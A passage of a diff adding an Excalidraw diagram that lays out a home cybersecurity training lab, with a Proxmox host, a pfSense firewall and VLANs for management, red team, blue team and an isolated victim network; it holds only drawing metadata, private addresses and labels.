"fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 744822290, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "Physical Router/Switch\n(VLAN-aware - L2/L3)\nGateway: 192.168.2.1\n\nVLANs: 1, 2, 5, 100, 200, 300, 400\nTrunk to Proxmox", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "router", + "originalText": "Physical Router/Switch\n(VLAN-aware - L2/L3)\nGateway: 192.168.2.1\n\nVLANs: 1, 2, 5, 100, 200, 300, 400\nTrunk to Proxmox", + "lineHeight": 1.25, + "index": "a4", + "autoResize": true + }, + { + "id": "proxmox", + "type": "rectangle", + "x": 325, + "y": 400, + "width": 330, + "height": 110, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "#e9ecef", + "fillStyle": "solid", + "strokeWidth": 3, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1939593806, + "isDeleted": false, + "boundElements": [ + { + "type": "text", + "id": "proxmox-text" + } + ], + "updated": 1770947211621, + "link": null, + "locked": false, + "index": "a7" + }, + { + "id": "proxmox-text", + "type": "text", + "x": 335, + "y": 410, + "width": 310, + "height": 85, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 140523922, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "Proxmox Hypervisor\nvmbr0 (VLAN-aware bridge)\nManagement IP: 192.168.2.100\n\nVLAN 2 (management)\nPasses VLANs 100-400 to VMs", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "proxmox", + "originalText": "Proxmox Hypervisor\nvmbr0 (VLAN-aware bridge)\nManagement IP: 192.168.2.100\n\nVLAN 2 (management)\nPasses VLANs 100-400 to VMs", + "lineHeight": 1.25, + "index": "a8", + "autoResize": true + }, + { + "id": "pfsense", + "type": "rectangle", + "x": 325, + "y": 570, + "width": 330, + "height": 130, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "#ffa8a8", + "fillStyle": "solid", + "strokeWidth": 3, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1476878478, + "isDeleted": false, + "boundElements": [ + { + "type": "text", + "id": "pfsense-text" + } + ], + "updated": 1770947211621, + "link": null, + "locked": false, + "index": "a9" + }, + { + "id": "pfsense-text", + "type": "text", + "x": 335, + "y": 580, + "width": 310, + "height": 105, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 386348882, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "pfSense VM (Router/Firewall)\n\nWAN (vtnet0): VLAN 2 → 192.168.2.2\nLAN (vtnet1): Trunk for VLANs 100-400\n → 10.10.1.1 (VLAN 100)\n → 10.10.2.1 (VLAN 200)\n → 10.10.3.1 (VLAN 300)\n → 10.10.4.1 (VLAN 400)", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "pfsense", + "originalText": "pfSense VM (Router/Firewall)\n\nWAN (vtnet0): VLAN 2 → 192.168.2.2\nLAN (vtnet1): Trunk for VLANs 100-400\n → 10.10.1.1 (VLAN 100)\n → 10.10.2.1 (VLAN 200)\n → 10.10.3.1 (VLAN 300)\n → 10.10.4.1 (VLAN 400)", + "lineHeight": 1.25, + "index": "aA", + "autoResize": true + }, + { + "id": "vlan100-box", + "type": "rectangle", + "x": 50, + "y": 760, + "width": 200, + "height": 240, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "#d0ebff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 698883790, + "isDeleted": false, + "boundElements": [ + { + "type": "text", + "id": "vlan100-text" + } + ], + "updated": 1770947211621, + "link": null, + "locked": false, + "index": "aB" + }, + { + "id": "vlan100-text", + "type": "text", + "x": 60, + "y": 770, + "width": 180, + "height": 220, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 998800658, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "VLAN 100\nManagement\n10.10.1.0/24\n\n━━━━━━━━━━━━\n\npfSense GW\n10.10.1.1\n\nManagement VMs\n(Optional)\nJumpbox, etc.", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "vlan100-box", + "originalText": "VLAN 100\nManagement\n10.10.1.0/24\n\n━━━━━━━━━━━━\n\npfSense GW\n10.10.1.1\n\nManagement VMs\n(Optional)\nJumpbox, etc.", + "lineHeight": 1.25, + "index": "aC", + "autoResize": true + }, + { + "id": "vlan200-box", + "type": "rectangle", + "x": 280, + "y": 760, + "width": 200, + "height": 240, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "#ffc9c9", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 2098664718, + "isDeleted": false, + "boundElements": [ + { + "type": "text", + "id": "vlan200-text" + } + ], + "updated": 1770947211621, + "link": null, + "locked": false, + "index": "aD" + }, + { + "id": "vlan200-text", + "type": "text", + "x": 290, + "y": 770, + "width": 180, + "height": 220, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1398475474, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "VLAN 200\nRed Team\n10.10.2.0/24\n\n━━━━━━━━━━━━\n\npfSense GW\n10.10.2.1\n\nKali Linux\n10.10.2.50\n(Attacker)", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "vlan200-box", + "originalText": "VLAN 200\nRed Team\n10.10.2.0/24\n\n━━━━━━━━━━━━\n\npfSense GW\n10.10.2.1\n\nKali Linux\n10.10.2.50\n(Attacker)", + "lineHeight": 1.25, + "index": "aE", + "autoResize": true + }, + { + "id": "vlan300-box", + "type": "rectangle", + "x": 510, + "y": 760, + "width": 200, + "height": 240, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1808614222, + "isDeleted": false, + "boundElements": [ + { + "type": "text", + "id": "vlan300-text" + } + ], + "updated": 1770947211621, + "link": null, + "locked": false, + "index": "aF" + }, + { + "id": "vlan300-text", + "type": "text", + "x": 520, + "y": 770, + "width": 180, + "height": 220, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1964368018, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "VLAN 300\nBlue Team\n10.10.3.0/24\n\n━━━━━━━━━━━━\n\npfSense GW\n10.10.3.1\n\nSecurity Onion\n10.10.3.100\n(SIEM/IDS)", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "vlan300-box", + "originalText": "VLAN 300\nBlue Team\n10.10.3.0/24\n\n━━━━━━━━━━━━\n\npfSense GW\n10.10.3.1\n\nSecurity Onion\n10.10.3.100\n(SIEM/IDS)", + "lineHeight": 1.25, + "index": "aG", + "autoResize": true + }, + { + "id": "vlan400-box", + "type": "rectangle", + "x": 740, + "y": 760, + "width": 230, + "height": 240, + "angle": 0, + "strokeColor": "#f08c00", + "backgroundColor": "#ffe8cc", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 2015603086, + "isDeleted": false, + "boundElements": [ + { + "type": "text", + "id": "vlan400-text" + } + ], + "updated": 1770947211621, + "link": null, + "locked": false, + "index": "aH" + }, + { + "id": "vlan400-text", + "type": "text", + "x": 750, + "y": 770, + "width": 210, + "height": 220, + "angle": 0, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1282408018, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "VLAN 400\nVictim Network\n10.10.4.0/24\n\n━━━━━━━━━━━━━━━\n\npfSense GW: .1\nDC01 (Win2022): .10\nWS01 (Win10): .20\nWS02 (Win10): .21\nWEB01 (DVWA): .30\nFILE01 (M2): .40", + "fontSize": 13, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "vlan400-box", + "originalText": "VLAN 400\nVictim Network\n10.10.4.0/24\n\n━━━━━━━━━━━━━━━\n\npfSense GW: .1\nDC01 (Win2022): .10\nWS01 (Win10): .20\nWS02 (Win10): .21\nWEB01 (DVWA): .30\nFILE01 (M2): .40", + "lineHeight": 1.25, + "index": "aI", + "autoResize": true + }, + { + "id": "arrow-internet-router", + "type": "arrow", + "x": 490, + "y": 180, + "width": 0, + "height": 40, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1901283278, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 40 + ] + ], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false, + "index": "aJ" + }, + { + "id": "arrow-router-homenet", + "type": "arrow", + "x": 350, + "y": 280, + "width": 100, + "height": 0, + "angle": 0, + "strokeColor": "#2f9e44", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1111111111, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + -100, + 0 + ] + ], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false, + "index": "aJa" + }, + { + "id": "arrow-router-proxmox", + "type": "arrow", + "x": 490, + "y": 340, + "width": 0, + "height": 60, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 3, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1467293198, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 60 + ] + ], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false, + "index": "aL" + }, + { + "id": "trunk-label", + "type": "text", + "x": 510, + "y": 350, + "width": 150, + "height": 50, + "angle": 0, + "strokeColor": "#868e96", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 698478798, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "Trunk Port\nVLAN 2, 5, 100,\n200, 300, 400", + "fontSize": 11, + "fontFamily": 1, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Trunk Port\nVLAN 2, 5, 100,\n200, 300, 400", + "lineHeight": 1.25, + "index": "aR", + "autoResize": true + }, + { + "id": "arrow-proxmox-pfsense", + "type": "arrow", + "x": 490, + "y": 510, + "width": 0, + "height": 60, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 3, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1551765970, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 60 + ] + ], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false, + "index": "aM" + }, + { + "id": "arrow-pfsense-vlan100", + "type": "arrow", + "x": 325, + "y": 635, + "width": 175, + "height": 125, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1065495630, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + -175, + 0 + ], + [ + -175, + 125 + ] + ], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": true, + "index": "aN" + }, + { + "id": "arrow-pfsense-vlan200", + "type": "arrow", + "x": 380, + "y": 700, + "width": 0, + "height": 60, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 306186130, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 60 + ] + ], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false, + "index": "aO" + }, + { + "id": "arrow-pfsense-vlan300", + "type": "arrow", + "x": 610, + "y": 700, + "width": 0, + "height": 60, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 928215694, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 60 + ] + ], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": false, + "index": "aP" + }, + { + "id": "arrow-pfsense-vlan400", + "type": "arrow", + "x": 655, + "y": 635, + "width": 200, + "height": 125, + "angle": 0, + "strokeColor": "#f08c00", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 800933202, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 200, + 0 + ], + [ + 200, + 125 + ] + ], + "lastCommittedPoint": null, + "startBinding": null, + "endBinding": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "elbowed": true, + "index": "aQ" + }, + { + "id": "legend-title", + "type": "text", + "x": 1030, + "y": 100, + "width": 250, + "height": 30, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 776784658, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "Network Architecture", + "fontSize": 18, + "fontFamily": 1, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Network Architecture", + "lineHeight": 1.25, + "index": "aS", + "autoResize": true + }, + { + "id": "legend-text", + "type": "text", + "x": 1030, + "y": 145, + "width": 350, + "height": 430, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 10, + "versionNonce": 245589518, + "isDeleted": false, + "boundElements": [], + "updated": 1770947234524, + "link": null, + "locked": false, + "text": "Physical Layer:\n• Home Network: 192.168.1.0/24 (VLAN 1)\n - Your PC: 192.168.1.91\n - SSH/Management access\n\n• Proxmox Management: 192.168.2.0/24 (VLAN 2)\n - Hypervisor: 192.168.2.100\n - pfSense WAN: 192.168.2.2\n - Gateway: 192.168.2.1\n\nLab VLANs (pfSense routed):\n• VLAN 100: 10.10.1.0/24 (Management)\n - pfSense LAN gateway: 10.10.1.1\n - Optional jumpbox/admin VMs\n\n• VLAN 200: 10.10.2.0/24 (Red Team)\n - pfSense gateway: 10.10.2.1\n - Kali Linux: 10.10.2.50\n - Internet access for tools\n\n• VLAN 300: 10.10.3.0/24 (Blue Team)\n - pfSense gateway: 10.10.3.1\n - Security Onion: 10.10.3.100\n - Monitor-only (SPAN/TAP)\n\n• VLAN 400: 10.10.4.0/24 (Victims)\n - pfSense gateway: 10.10.4.1\n - AD Domain: apophis.local\n - Blocked from internet/red team\n\nTraffic Flow:\n→ Inter-VLAN routing via pfSense\n→ Firewall rules per lab module\n→ All traffic logged for analysis", + "fontSize": 12, + "fontFamily": 1, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Physical Layer:\n• Home Network: 192.168.1.0/24 (VLAN 1)\n - Your PC: 192.168.1.91\n - SSH/Management access\n\n• Proxmox Management: 192.168.2.0/24 (VLAN 2)\n - Hypervisor: 192.168.2.100\n - pfSense WAN: 192.168.2.2\n - Gateway: 192.168.2.1\n\nLab VLANs (pfSense routed):\n• VLAN 100: 10.10.1.0/24 (Management)\n - pfSense LAN gateway: 10.10.1.1\n - Optional jumpbox/admin VMs\n\n• VLAN 200: 10.10.2.0/24 (Red Team)\n - pfSense gateway: 10.10.2.1\n - Kali Linux: 10.10.2.50\n - Internet access for tools\n\n• VLAN 300: 10.10.3.0/24 (Blue Team)\n - pfSense gateway: 10.10.3.1\n - Security Onion: 10.10.3.100\n - Monitor-only (SPAN/TAP)\n\n• VLAN 400: 10.10.4.0/24 (Victims)\n - pfSense gateway: 10.10.4.1\n - AD Domain: apophis.local\n - Blocked from internet/red team\n\nTraffic Flow:\n→ Inter-VLAN routing via pfSense\n→ Firewall rules per lab module\n→ All traffic logged for analysis", + "lineHeight": 1.25, + "index": "aT", + "autoResize": true + }, + { + "id": "footer", + "type": "text", + "x": 50, + "y": 1030, + "width": 900, + "height": 25, + "angle": 0, + "strokeColor": "#868e96", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1147508946, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "Apophis Networking Security Lab - \"Order from Chaos\" - Educational Use Only", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Apophis Networking Security Lab - \"Order from Chaos\" - Educational Use Only", + "lineHeight": 1.25, + "index": "aU", + "autoResize": true + } + ], + "appState": { + "gridSize": 20, + "gridStep": 5, + "gridModeEnabled": false, + "viewBackgroundColor": "#1B1B1E" + }, + "files": {} +}